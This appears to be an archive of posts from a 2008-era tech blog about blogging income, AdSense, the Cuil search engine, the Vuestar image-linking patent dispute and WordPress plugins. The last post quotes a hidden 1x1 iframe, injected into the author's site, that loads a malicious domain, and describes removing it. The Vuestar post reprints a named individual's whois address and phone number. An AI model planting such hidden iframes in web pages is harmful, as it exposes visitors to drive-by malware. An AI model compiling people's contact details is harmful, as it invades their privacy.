You can make money online by blogging. There is no doubt about it.

1.) Start a blog. For those who have no idea how to start, you can refer to my earlier post on How to start a blog and make money online.

2) Make at least 1 post on your blog daily. Think of a topic, example, iPhone, iPod, Laptop, WordPress, Obama, Osama. If you want a blog on hot topics, go to Google Hot Trends (USA) or Google Hot Trends (Singapore) and search for a topic.

3.) Put up advertisment on your blog. Google Adsense is the first choice advertising network for many bloggers. Take a look at my earlier post on What is Google Adsense?. Login to your Google Adsense account and setup your adsense. You can put 3 Ad Units and 3 Link Units on a single page.

4) Drive traffic to your blog. Without traffic, you cannot make money. The best traffic is from Google Search. Add your URL to Google now! It takes time to get index by Google Search. The faster way to get your blog on Google Search is to go through Google Blog Search. Before you Add your blog to Google Blog Search, make sure you have at least a blog post. To check whether you blog is in the Google Blog Search, enter site:yourdomain.com. If you just posted a blog, it should be up within 1 ot 2 mins.

5) Understand your traffic. Where they come from, how long they stay on your site, what are they reading? All you need is Google Analytics.

6) Decide how much to earn. Start with US$1.00 a day. Continue to make a blog post a day till you earn an average of US$1.00 a day. If you manage to earn $1.00 a day after 30 days, it means on average each post earn $0.033. Once you reach your $1.00 target, go for $2.00. The time it takes to earn the next $1.00 will be shorter.

7) Learn how others make money online. There are people earning US$10k a month, US$100k a month. Learn from them and share with others when you are up there.

BTW, I still have a long way to go

Popularity: 1% [?]

Anna Patterson, a former Google employee, launched her new search engine Cuil, pronounced “cool.” Backed by $33 million in venture capital, the search engine plans to begin processing requests for the first time Monday.

Anna Patterson’s last Internet search engine was so impressive that Google bought the technology in 2004 to upgrade its own system.

Anna Patterson believes her latest invention is even more valuable and this time it’s not for sale. She intends to upstage Google, which she quit in 2006 to develop a more comprehensive and efficient way to scour the Internet.

Anna Patterson, husband Tom Costello and two other former Google engineers, Russell Power and Louis Monier (best known as the former chief technology officer of AltaVista), searched for better ways to search.

Cuil claims to be the world’s biggest search engine.

Cuil searches more pages on the Web than anyone else—three times as many as Google and ten times as many as Microsoft.

According to Cuil’s privacy policy, it does not retain information about its users’ search histories or surfing patterns.
Cuil’s Privacy Policy:

Privacy is a hot topic these days, and we want you to feel totally comfortable using our service, so our privacy policy is very simple: when you search with Cuil, we do not collect any personally identifiable information, period. We have no idea who sends queries: not by name, not by IP address, and not by cookies (more on this later). Your search history is your business, not ours.

Cuil’s search results are shown in 3 columns by default and can be set to 2 columns.

Google welcomed Cuil to the long line of Google challengers which includes swaggering startups like Teoma (whose technology became the backbone of Ask.com), Vivisimo, Snap, Mahalo and, most recently, Powerset, which was acquired by Microsoft Corp. this month.

Popularity: 2% [?]

Vuestar Technologies Pte Ltd, a Singaporean company, has sent invoices last week to owners of websites which it claimed were using a patented technology that enables “Internet searching via visual images”.

The Patent “A method of locating web – sites using visual images ”, granted to the Inventor Ronald Neville Langford who has assigned its use for licensing and other commercial exploitation to VUESTAR Technologies Pte Ltd of Singapore, is valid until 2021

Vuestar Technologies MD Paul Smith said Vuestar is now exercising its right to charge money for the use of its patent-protected technology which allows organisations to link images to other pages on their websites. If links on these pages then lead to the organisation’s contact information, Vuestar regards this as use of their technology.

Mr Smith said the company is not targeting users with personal websites. ‘We are going for those who use this technology for commercial advantage,’ he said. Websites which contain only text with no images are not at risk. He added that the websites targeted are those with a predominantly Singaporean audience, which include several overseas websites.

He said that in deciding who to send the invoices to, Vuestar relied heavily on information on each site’s traffic and viewership. He declined to reveal how many invoices the company has sent out, citing the ‘commercially sensitive’ nature of the information.

He said, however, that the amount the company is charging website users varies according to how extensively the technology is used on each website. The annual fee ranges from $200 for light users to as much as $10,000 for those who use the technology extensively on their websites.

Vuestar plans to gradually increase the number of invoices it sends out.

Arofanatics.com

Mr Alvin Koh, who runs a local hobbyist website on Arowana fish, told The New Paper that his business partner, whose name was used to register the website, received an invoice for $5,350 from Vuestar last week. He said: ‘Based on the letter I received, I didn’t have a good idea of how exactly my website was infringing any rules.’ Even after he called the company for an explanation, Mr Koh said he was still unclear on why he was being asked to pay a fee. He said: ‘It’s ridiculous. I plan to ignore them, but I would like people to be aware of this, and not simply pay up.’

InternetMarketingSingapore.com

Another website owner, Mr Stuart Tan, who runs Internetmarketingsingapore.com, also received an invoice from Vuestar Technologies for $2,600. He described the company’s demands as ‘ludicrous’, adding that he wondered if the company was out to bully owners of small businesses. He said: ‘It’s like a company patenting the process of going to school, then demanding money from those who do it.’ Mr Tan has written a post on his website and also submitted an article on Digg.com, an information-sharing website, to create awareness on this issue.

Lawyer Alban Kang

Lawyer Alban Kang, who specialises in intellectual property, said whether the patent holder has the right to demand payment depends on what the patent covers. He said: ‘In some cases, the patent may not even be valid in the first place. ‘Individuals should first seek legal advice to determine whether the company’s claims are valid.’ Mr Kang said the validity of a patent can sometimes be challenged if the patented idea is not new or novel, and if the idea has been readily available to a public for some time.

Vuestar.biz has a shared IP address 210.48.157.121 and is hosted at egnarosoft.com owned by OrangeSoft Sdn Bhd.

Registry Whois:

Registrar: GODADDY.COM, INC.

Expiration Date: 2009-12-16 23:59:59
Creation Date: 2007-12-17 04:58:48
Last Update Date: 2008-02-21 09:02:28

Name Servers:
ns3.egnarosoft.com
ns4.egnarosoft.com

Whois:

Created by Registrar: GODADDY.COM, INC.
Last Updated by Registrar: GODADDY.COM, INC.

Registrant Contact Information:
Name: Ron Langford
Organization: Goldspirit Investments Pty Ltd
Address 1: 8/25
Address 2: Edmonstone Street
City: South Brisbane
State: Queensland
Zip: 4101
Country: AU
Phone: +61.738466996
Fax: +61.738466996
Email:

Administrative, Technical and Billing Contact Information same as above

Goldspirit Investments Pty Ltd

http://au.vicdir.com/co-771271577-780552-0.htm

Contact:

SINGAPORE
Tel: +65 6333 1190
Fax: +65 6339 3389

SINGAPORE
VUESTAR Technologies Pte Ltd
L5-12 The Adelphi
1 Coleman Street
Singapore 179803.

AUSTRALIA
VUESTAR Technologies Pte Ltd
Quinta House
8/25 Edmonstone Street
South Brisbane. Qld 4101

Email
info@vuestar.biz

Patent:

US Patent #7065520 filed on 3rd Oct 2001 by Ronald Langford

Singapore Patent #95940 granted on 27th Oct 2003

Australia Patent #755035 filed on 2000 ceased due to failure to pay renewal fees.
Australian Application #200193479 - Not Found
Australian Application #2004903257 - Lapsed
Australian Application #2004903805 - Lapsed
Australian Application #2004903831 - Lapsed

New Zealand Patent #525601

Other patents filed by one Mr Ronald Neville Langford includes:

#2006200653 A digital wallet
* 2005242135 Verifying the Identity of a User by Authenticating a File
* 2006100013 Online gaming promotion having a software application
* 2002PS0708 Provision of an interactive directory information service via television
* 2002950174 Locating web sites using bar code technology - Lapsed
* 2004240196 Authenticating images identified by a software application

Aogami International Pty Ltd holds a patent in several countries for
“A METHOD OF LOCATING WEB–SITES USING VISUAL IMAGES”

Simply defined - In a searching function of any computerized database, when a search result is retrieved and a visual image such as a trademark, logo, icon or image containing a hyperlink to a web-page or web–site is used, the web–site owner uses this patented technology. The Company has developed a protocol and licensing network to use the technology by Search Engines, e-commerce directory and portal owners. Other features contained in the patent which provide an impact for faster searching and advertising revenue include the use of animation, sound and streaming video content.

Singapore law firm, Keystone Law Corporation send out an alert:

Visual Images Search Patent (PDF)

More story:

* Hardwarezone Forum - Is this a legitimate Singapore patent? (Vuestar Tech P/L)

* VR-Zone Forum - Australian VueStar.biz to sue all websites on internet

* Slashdot - Singapore Firm Claims Patent Breach By Virtually All Websites

* Newpaper - Local company tells websites to PAY UP

* ZDNetAsia - S’pore firm claims patent to image search

* Vuestar Technologies Are Patent Trolls? You may get sued for using ANY image on your site…

* Simply Jean - Imaging linking is patented, websites and blogs affected, Advertlets, Nuffnang and Blog2U may have to call it a day

* Alvinology - Vuestar: Imaging linking on the Internet is PATENTED

* Fireopal - A discovery in the Vuestar Scandal!!!

If you received the invoice from Vuestar, what are you going to do?

More information on Vuestar can be found at www.vuestar.biz

Popularity: 4% [?]

WhiteFence.com is a one-stop comparison shopping marketplace for consumers looking to compare and order essential home services.

WhiteFence.com connect consumers with the services that power their lives, from phones to high-speed Internet to electricity and beyond.

WhiteFence.com make search simple. Users just complete the sentence below to find exactly what they are looking for.

* lower my bills
* bundle my services
* find a better deal on my services
* shop for service on my new home
* find the best price in my area on residential service
* get reliable service from trusted national companies
* order home essential services today

Popularity: 2% [?]

Everyone know Google Search is very powerful. But when it comes to searching for people, you must try ZabaSearch.com - Free People Search with telephone numbers, birth date and addresses revealed free.

The service is currently limited to people in United States.

Popularity: 3% [?]

It’s time to update your Google AdSense for Search code if you have update it since 5th May 2008. Google AdSense for Search is now powered by Custom Search which offers advanced customization options to help improve the accuracy of your search results and tailor them to what your users are looking for.

Here are some of the new features:

Site Search: allow your users to find all the information they’re looking for on your site. without leaving your site.

Improved indexing of your pages: Google recent improved indexing technology will now index more pages of your site so the users will see more results in your AdSense for Search results.

Vertical search: allow your users to search across multiple sites, could be your network of sites or sites you think your users will find it useful.

Tuning search results and ads with keywords: allow you to show relevant search results by setting relevant keywords which will be added to your user keyword when they are performing the search. This tuning will led to an increase in earnings for AdSense Publishers.

Selecting ad location: Choose where to place your ads on the search results. Google hints that ads at the top and right monetizes the best for publishers.

Quick and easy updates: allow you to change the custom search engine without generate new search code for each changes as the settings are saved in your account.

Here’s a video from the InsideAdSense explaining the update:

Popularity: 4% [?]

Google XML Sitemaps Plugin is highly recommend. This plugin will create a Google sitemaps compliant XML-Sitemap of your WordPress blog. It supports all of the WordPress generated pages as well as custom ones. Everytime you edit or create a post, your sitemap is updated and all major search engines that support the sitemap protocol, like ASK.com, Google, MSN Search and YAHOO, are notified about the update.

Current version is 3.0.3 updated on 2007-12-30

Click here to stay updated with the latest version.

Popularity: 3% [?]

All in One SEO Pack Plugin is highly recommend. It optimizes your Wordpress blog for Search Engines. Your blog post will rank higher as the title tag and meta description are Search Engine optimized.

Here are the features.

• Automatically optimizes your titles for search engines
• Generates META tags automatically
• Avoids the typical duplicate content found on Wordpress blogs
• For Wordpress 2.3 you don’t even have to look at the options, it works out-of-the-box. Just install.
• You can override any title and set any META description and any META keywords you want.
• You can fine-tune everything
• Backward-Compatibility with many other plugins, like Auto Meta, Ultimate Tag Warrior and others.

Current version 1.4.5.9 updated on 2008-2-17.

Click here to stay updated with the latest version.

Popularity: 3% [?]

Today I Google Search for Richard Palace and to my surprise, I found my site, RichardPalace.com, has been identified to contain malicious software. Immediately, I checked with No Script Add-ons for FireFox and discover a domain which is rather unfamiliar. The domain is wp-stats-php.info and I thought the site was related to WordPress correcting some Stats, but it was not. I then checked my site source code for the domain name wp-stats-php and found the following code:

<!– Traffic Statistics –> <iframe src=”http://www.wp-stats-php.info/iframe/wp-stats.php” frameborder=”0″ height=”1″ width=”1″></iframe> <!– End Traffic Statistics –>

This code was inserted on my blog post on 11th Nov 2007 by someone or software. I immediately removed it and asked Google to review my site so as to remove “This site may harm your computer” tag. I am not sure how this iframe code got into my blog. If it happens to me, it can also happen to you.

If you are using wordpress, I suggest you do the following:
1) Upgrade wordpress to the latest version.
2) Change your theme.
3) Check your site source code regularly for “iframe”.

Popularity: 6% [?]